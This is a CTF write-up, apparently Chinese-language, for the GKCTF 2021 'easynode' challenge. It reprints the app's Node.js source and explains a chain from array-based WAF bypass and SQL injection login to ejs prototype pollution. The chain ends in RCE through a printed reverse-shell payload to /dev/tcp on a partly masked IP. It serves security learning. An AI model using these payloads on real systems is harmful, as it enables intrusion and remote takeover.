[GKCTF 2021]easynode
知识点:
js 弱类型
ejs 原型链污染
解题:
源码:
const express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken} = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());
let safeQuery = async (username,password)=>{
const waf = (str)=>{
// console.log(str);
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
// console.log(sql);
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}
app.get('/', async(req,res)=>{
const html = await ejs.renderFile(__dirname + "/public/index.html")
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
})
app.post('/login',function(req,res,next){
let username = req.body.username;
let password = req.body.password;
safeQuery(username,password).then(
result =>{
if(result[0]){
const token = generateToken(username)
res.json({
"msg":"yes","token":token
});
}
else{
res.json(
{"msg":"username or password wrong"}
);
}
}
).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
})
app.get("/admin",async (req,res,next) => {
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
username = result
var sql = `select board from board where username = '${username}'`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
}
else{
res.json({'msg':'stop!!!'});
}
});
app.post("/addAdmin",async (req,res,next) => {
let username = req.body.username;
let password = req.body.password;
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
select(sql).then(close()).catch( (err)=>{console.log(err)});
var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
console.log(sql);
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.end('add admin successful!')
}
else{
res.end('stop!!!');
}
});
app.post("/adminDIV",async(req,res,next) =>{
const token = req.cookies.token
var data = JSON.parse(req.body.data)
let result = verifyToken(token);
if(result !='err'){
username = result;
var sql ='select board from board';
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
for(var key in data){
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
extend(board,JSON.parse(addDIV));
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});
app.listen(1337, () => {
console.log(`App listening at port 1337`)
})
大概看一下,最后我们其实就需要达到 extend 去原型链污染,而且存在 ejs 模板引擎,所以可以RCE,所以就需要获得 token 登录,最后在 /admin 路由进行渲染,打到RCE
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
extend(board,JSON.parse(addDIV));
看到这里,我们就是想让{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"');var __tmp2"}}
进行 extend 操作,
所以我们就需要让 username 等于 __proto
,想要这样,就需要创建用户,就回到/addAdmin
路由,所以我们就需要admin
的token
,
回到最上面,
这里可以输出token
,所以我们只需要登录成功就行,但是它对username
和password
进行了WAF操作,我们就想进行绕过,核心代码:
let safeQuery = async (username,password)=>{ // 过滤username和password中的危险字符并进行select查询
const waf = (str)=>{
// console.log(str);
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){ // 配合 waf 函数将黑名单里的危险字符依次替换为 *
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
就是判断 username 和 password 的字符是否存在黑名单,存在转换成 * ,然后一看判断是 ==
,可以使用弱类型绕过,即让username 为一个数组,这样 str[i] 就是一个键值,就直接绕过了WAF,但是这样的 username 还是一个数组啊,如何插入SQL语句中造成登录成功呢,
在 JS 中,如果将如果将两个数组相加,则最终数组将被转换成一个字符串:
因为WAF中存在拼凑操作,所以直接POST:
username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123456
疑惑一:
为什么不能直接POST:username = [“admin’#”,1,1,1,1,1,1,1,1,1,’(’]&password=123456
。。。这不很简单吗,你没有将变量添加 [],浏览器就将它当作字符串了,后面这一串都被当成字符串了
疑惑二:
为什么 username 数组的长度需要一定长,没有达到一定长就无法成功登录
这样之后SQL语句就变成:
select * from test where username = 'admin'#,1,1,1,1,1,1,1,1,1*' and password = '123456'
因此 password 被注释了,所以直接就登陆了,然后回显 token ,
然后用次 token 去访问 /addAdmin 去创建用户:
然后获取 __proto__
用户的 token ,然后用此 token 去POST data 数据污染
注意上面这里,需要对反弹 Shell 部分的命令进行 base64 编码避免一些控制字符的干扰。因为这里的POST方法发送的不是 JSON
然后访问 /admin 路由去渲染,进入 ejs 渲染引擎,触发RCE